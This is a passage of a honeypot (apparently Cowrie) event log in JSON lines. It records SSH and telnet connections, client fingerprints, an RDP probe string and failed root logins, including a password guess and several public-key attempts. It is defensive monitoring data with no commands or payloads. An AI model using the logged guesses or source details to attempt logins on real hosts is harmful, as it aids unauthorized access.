01:bb:3d:6d:76:54:a1:62:45:16:47:a2:72:39:18:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.855748Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:bb:3d:6d:76:54:a1:62:45:16:47:a2:72:39:18:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3HTw3EYv3Qmcc0X2dkwQQ+DkmBwc4zRG0kStLKQsX4pUhb3O20Big1BrBstq52cxRz6wS3toVkEabIMQfsJcsRbM7YOMbApHINYmGFlyw9uxjUgJbvcdH8FXTKeFVyyRTb54IWBLw4mlcjI/3J2Hy/gJWiFtI/I+hAk7aEuA/M9zBcXC31xmUkt0leUQNmWg3rGLEKU6gZR+9apAaN1zJBZPEImfo0egsQvK0FPUiUEXv+ws+oTEpsaWbfL7KDr8Dw5/2taUkalCwaWZVCwJ7fC9nQ5LngqTHJ5S95vJK549i8C9kVwlld0pAo6oGldAKRUc5NO4JaIpzUcgpLk11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.859772Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.946780Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"a615233f83ba","protocol":"telnet","message":"New connection: 152.42.224.71:38470 (10.17.0.5:23) [session: a615233f83ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:24.158503Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bda6a3987d","protocol":"telnet","message":"New connection: 152.42.224.71:56816 (10.17.0.5:23) [session: 26bda6a3987d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:37.558419Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60416,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff3d0e853af1","protocol":"ssh","message":"New connection: 103.172.78.219:60416 (159.203.135.109:22) [session: ff3d0e853af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:39.964664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:39.969297Z","src_ip":"103.172.78.219","session":"ff3d0e853af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:40.232073Z","src_ip":"103.172.78.219","session":"ff3d0e853af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:41.026483Z","src_ip":"103.172.78.219","session":"ff3d0e853af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:42.293289Z","src_ip":"103.172.78.219","session":"ff3d0e853af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":11678,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8cb9a4a06ea","protocol":"ssh","message":"New connection: 208.87.243.61:11678 (10.17.0.5:22) [session: c8cb9a4a06ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.074036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.078590Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.148742Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:a7:6e:11:0e:a1:ed:d4:17:c3:1f:9b:44:39:fb:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk6/4jthY88ie3HvHx/7K/zPP4nujyV7NjvPevyHTbE2SYxJrciSLzpW73aXsFeaFJaXgqvfkWZhbEOoZu1TNENutZKNwOScV2ePM2ot5B+6MbXk+mStbwvUEH/GrvoJiH5BcIY3e5XDe4GVbVuAkFHEHHd+BS66TD5k5haJadS66pZtxHyUQygyy5YnAaK/xvRkbHcFip6y2z6hjXTrYr3nDneOy39bxgY3R4ZLRbbgZC9/UY+JAMXCdXww7kJ+e/VNDIKhkzpo3fuxHvGvFdqJigtkkMtrKrpPxZSg1d3JqF7WFbPPS3pZIEIqQLZWAoEuAserKPTkA0qb7VG9Yl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:a7:6e:11:0e:a1:ed:d4:17:c3:1f:9b:44:39:fb:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.469034Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:a7:6e:11:0e:a1:ed:d4:17:c3:1f:9b:44:39:fb:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk6/4jthY88ie3HvHx/7K/zPP4nujyV7NjvPevyHTbE2SYxJrciSLzpW73aXsFeaFJaXgqvfkWZhbEOoZu1TNENutZKNwOScV2ePM2ot5B+6MbXk+mStbwvUEH/GrvoJiH5BcIY3e5XDe4GVbVuAkFHEHHd+BS66TD5k5haJadS66pZtxHyUQygyy5YnAaK/xvRkbHcFip6y2z6hjXTrYr3nDneOy39bxgY3R4ZLRbbgZC9/UY+JAMXCdXww7kJ+e/VNDIKhkzpo3fuxHvGvFdqJigtkkMtrKrpPxZSg1d3JqF7WFbPPS3pZIEIqQLZWAoEuAserKPTkA0qb7VG9Yl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.472662Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:2a:aa:f1:f6:7c:5f:fc:e5:1b:45:ef:4b:54:2d:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJA5sRT8O5FFh3fau/GNTvtfx5jGd0wncZTGGZBXXnxtLESJSm3KnjTRDGnXtkXvM3ti1mRlxLisfnU5sIDGc9a9VOY22qDvhUCe+3BC2GygDPXwqeeV4xpm7B+e3aRlFBnq37FrAIWTbwQUSvwsVC+axhNutjsnjOt2tfRBZb31WBk5nBulyybsJnhO9iTdFABlfAagZEgVmAW5GVDZB0xma1QNZAh6tGcssiUq7QRYA+oTRmGK1ZmiXIccnjs0/lDVqWWu7oEZ5aSoEWCtoCL2rJgIoLVrpi4ZnzwE5LgC1sd1pauCsZR9WguVcd0QTVLtPQrhRMWQnBQsOOg3Mr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:2a:aa:f1:f6:7c:5f:fc:e5:1b:45:ef:4b:54:2d:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.542254Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:2a:aa:f1:f6:7c:5f:fc:e5:1b:45:ef:4b:54:2d:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJA5sRT8O5FFh3fau/GNTvtfx5jGd0wncZTGGZBXXnxtLESJSm3KnjTRDGnXtkXvM3ti1mRlxLisfnU5sIDGc9a9VOY22qDvhUCe+3BC2GygDPXwqeeV4xpm7B+e3aRlFBnq37FrAIWTbwQUSvwsVC+axhNutjsnjOt2tfRBZb31WBk5nBulyybsJnhO9iTdFABlfAagZEgVmAW5GVDZB0xma1QNZAh6tGcssiUq7QRYA+oTRmGK1ZmiXIccnjs0/lDVqWWu7oEZ5aSoEWCtoCL2rJgIoLVrpi4ZnzwE5LgC1sd1pauCsZR9WguVcd0QTVLtPQrhRMWQnBQsOOg3Mr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.547151Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:df:25:de:80:aa:64:7e:67:21:97:37:46:35:b2:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/7Icvu+zIRsEeTm1nI+qQaNjjMVFauDxM+6eLxykTjY6XiV7mRs0Bo4BSeNEXCgk9IljwvRnIKG7UtdS+58o4+hnLHnvd0K3UyzR5JGGes6YlkR5WqV4QH2xY43UDmKzKK79I/xArf6Ih7024qwa1/1lEs99GTHJfufLyGSgTGXtt2P765meddkQ8JB+x7Ue9wHSMcjYaG6v006gafVfp1UGYowpDSJfexplpvBcIO/lzpKIpgxveaGmIesXyajnoxflYRFTObyP+d3eSsLz090Y13aSi+Xl8fTnMxgpTT2oCw7JHstBKCj0dMN9L0nSwH3cy6n31aYBG6xbPWTbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:df:25:de:80:aa:64:7e:67:21:97:37:46:35:b2:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.623139Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:df:25:de:80:aa:64:7e:67:21:97:37:46:35:b2:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/7Icvu+zIRsEeTm1nI+qQaNjjMVFauDxM+6eLxykTjY6XiV7mRs0Bo4BSeNEXCgk9IljwvRnIKG7UtdS+58o4+hnLHnvd0K3UyzR5JGGes6YlkR5WqV4QH2xY43UDmKzKK79I/xArf6Ih7024qwa1/1lEs99GTHJfufLyGSgTGXtt2P765meddkQ8JB+x7Ue9wHSMcjYaG6v006gafVfp1UGYowpDSJfexplpvBcIO/lzpKIpgxveaGmIesXyajnoxflYRFTObyP+d3eSsLz090Y13aSi+Xl8fTnMxgpTT2oCw7JHstBKCj0dMN9L0nSwH3cy6n31aYBG6xbPWTbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.626827Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:2b:c9:ca:03:c6:4e:45:15:9f:da:2e:47:23:0d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh2siVmFKf31LEhOvRazL9m6AaF8M1wYXgtMKQwriwrcfuISpqd6SByhF8wGst6KshSM6l715GThowioFOC8mW7TvBb7pz63TIBs4KuaKbgTFt5/pm5Tw+76Occu7Y+wAaqcMtAbSs3xxftMmIAl+huDFtzFP9nk7Jn2Rshr5iPr+iVDW7F04zUbOPHcIeeIrcxe+lJySc7ckiaePy86J+iXBPc7ROSyYeWM6vmH+q4RRIXRq7Bxrm0bOXLDAHbvGRCWCO2lUh0VgWoXXbH4GbSBJDLIkjxbnj8hkhcQIzpOk9OlfOvrfLXCtU9Co3GYfH6mM4rfjb7neB6k2y53xn7cPjMuDL3gLAQFUzRanK4bmUUGfePZ3Vm5cUBWje9ibibeCKjBnbjUhzRAN7xGEKizEpwESvHIjffb4cmgaFnbxv8gJcSZk8SKKiRbUya7jNp+Ec9s7UFJjocQ5jE37NNl2eQtk1mMs2FObOLRoOvl/D5a4Owfi2n2ULThpeCRo16If/GxsbeyD8RLgJ7xPusmoJFIA/wPCfaap4DM4k00UghptU7dYov/17BBIPSPvH3K2gKPagogjKs7jJQZVhctdUJRq3vElVvPypP7eGg25N91wc1fwSVNfBUuzdaxZ1Ib7uLCeIEwPXVMgV75LEfK13t/Rws7PCcdwL/burLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:2b:c9:ca:03:c6:4e:45:15:9f:da:2e:47:23:0d:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.694907Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:2b:c9:ca:03:c6:4e:45:15:9f:da:2e:47:23:0d:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh2siVmFKf31LEhOvRazL9m6AaF8M1wYXgtMKQwriwrcfuISpqd6SByhF8wGst6KshSM6l715GThowioFOC8mW7TvBb7pz63TIBs4KuaKbgTFt5/pm5Tw+76Occu7Y+wAaqcMtAbSs3xxftMmIAl+huDFtzFP9nk7Jn2Rshr5iPr+iVDW7F04zUbOPHcIeeIrcxe+lJySc7ckiaePy86J+iXBPc7ROSyYeWM6vmH+q4RRIXRq7Bxrm0bOXLDAHbvGRCWCO2lUh0VgWoXXbH4GbSBJDLIkjxbnj8hkhcQIzpOk9OlfOvrfLXCtU9Co3GYfH6mM4rfjb7neB6k2y53xn7cPjMuDL3gLAQFUzRanK4bmUUGfePZ3Vm5cUBWje9ibibeCKjBnbjUhzRAN7xGEKizEpwESvHIjffb4cmgaFnbxv8gJcSZk8SKKiRbUya7jNp+Ec9s7UFJjocQ5jE37NNl2eQtk1mMs2FObOLRoOvl/D5a4Owfi2n2ULThpeCRo16If/GxsbeyD8RLgJ7xPusmoJFIA/wPCfaap4DM4k00UghptU7dYov/17BBIPSPvH3K2gKPagogjKs7jJQZVhctdUJRq3vElVvPypP7eGg25N91wc1fwSVNfBUuzdaxZ1Ib7uLCeIEwPXVMgV75LEfK13t/Rws7PCcdwL/burLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.699285Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:22:b7:78:b7:12:58:2e:fe:4c:98:49:a5:8a:d5:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8XLcxkjHPTf9hlJyS1JCnOYjwV5Hj9ruR7kHIJNfZvkSKMbBCeDrVNeeCQZr3DTdkdH1XfOlAmplCl9/EemEPerj/OndmNryvvNFbDm0sz/OYGL7jgJ3TD19uom2awq84wyevoV6Nc5IpZBz5wJRCWTuSbKG2dS0UV9BL0J9pFlXN5BEaVmd7kxW+ZTu/hUrfxJO4xDUq8SJ3ptZLhxOuyG8XzN9nNz6l5tCnZMq7iGY5pznxW+iO+4r9wIewipa5M8eLkH+mVBCKdPnE6q4OfyDWfXuV17cw02n7IBTUZ7X1gfXlUnamghfhzOJ3F6q4edS7Zgb7ldGSDEEAZHbyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:22:b7:78:b7:12:58:2e:fe:4c:98:49:a5:8a:d5:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.768648Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:22:b7:78:b7:12:58:2e:fe:4c:98:49:a5:8a:d5:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8XLcxkjHPTf9hlJyS1JCnOYjwV5Hj9ruR7kHIJNfZvkSKMbBCeDrVNeeCQZr3DTdkdH1XfOlAmplCl9/EemEPerj/OndmNryvvNFbDm0sz/OYGL7jgJ3TD19uom2awq84wyevoV6Nc5IpZBz5wJRCWTuSbKG2dS0UV9BL0J9pFlXN5BEaVmd7kxW+ZTu/hUrfxJO4xDUq8SJ3ptZLhxOuyG8XzN9nNz6l5tCnZMq7iGY5pznxW+iO+4r9wIewipa5M8eLkH+mVBCKdPnE6q4OfyDWfXuV17cw02n7IBTUZ7X1gfXlUnamghfhzOJ3F6q4edS7Zgb7ldGSDEEAZHbyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.772290Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:48.841537Z","src_ip":"208.87.243.61","session":"c8cb9a4a06ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42038,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c4c873a2db","protocol":"telnet","message":"New connection: 152.42.224.71:42038 (10.17.0.5:23) [session: 43c4c873a2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:53.295598Z"}
{"eventid":"cowrie.session.closed","duration":48.72360873222351,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:54.456588Z","src_ip":"152.42.224.71","session":"e31c7a8420eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42046,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72e6f341d85","protocol":"telnet","message":"New connection: 152.42.224.71:42046 (10.17.0.5:23) [session: b72e6f341d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:55.167543Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65225,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0275c8ae4d","protocol":"ssh","message":"New connection: 152.42.212.128:65225 (10.17.0.5:22) [session: dd0275c8ae4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:56.335296Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:56.343765Z","src_ip":"152.42.212.128","session":"dd0275c8ae4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:56.347371Z","src_ip":"152.42.212.128","session":"dd0275c8ae4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.2136664390564,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:56.525605Z","src_ip":"152.42.224.71","session":"fdf76ab36d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42844,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a96dccffee4","protocol":"telnet","message":"New connection: 152.42.224.71:42844 (10.17.0.5:23) [session: 6a96dccffee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:57.611679Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42852,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2512c42f887","protocol":"telnet","message":"New connection: 152.42.224.71:42852 (10.17.0.5:23) [session: e2512c42f887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:04.942183Z"}
{"eventid":"cowrie.session.closed","duration":42.716166496276855,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:06.874545Z","src_ip":"152.42.224.71","session":"a615233f83ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02318215370178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:12.581472Z","src_ip":"152.42.224.71","session":"26bda6a3987d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.614262342453003,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:12.781695Z","src_ip":"152.42.224.71","session":"b72e6f341d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0abc0abf5b4","protocol":"telnet","message":"New connection: 152.42.224.71:55576 (10.17.0.5:23) [session: d0abc0abf5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:14.980680Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43884,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8525e17789","protocol":"ssh","message":"New connection: 103.82.132.16:43884 (159.203.135.109:22) [session: bf8525e17789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:22.399397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:22.409964Z","src_ip":"103.82.132.16","session":"bf8525e17789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-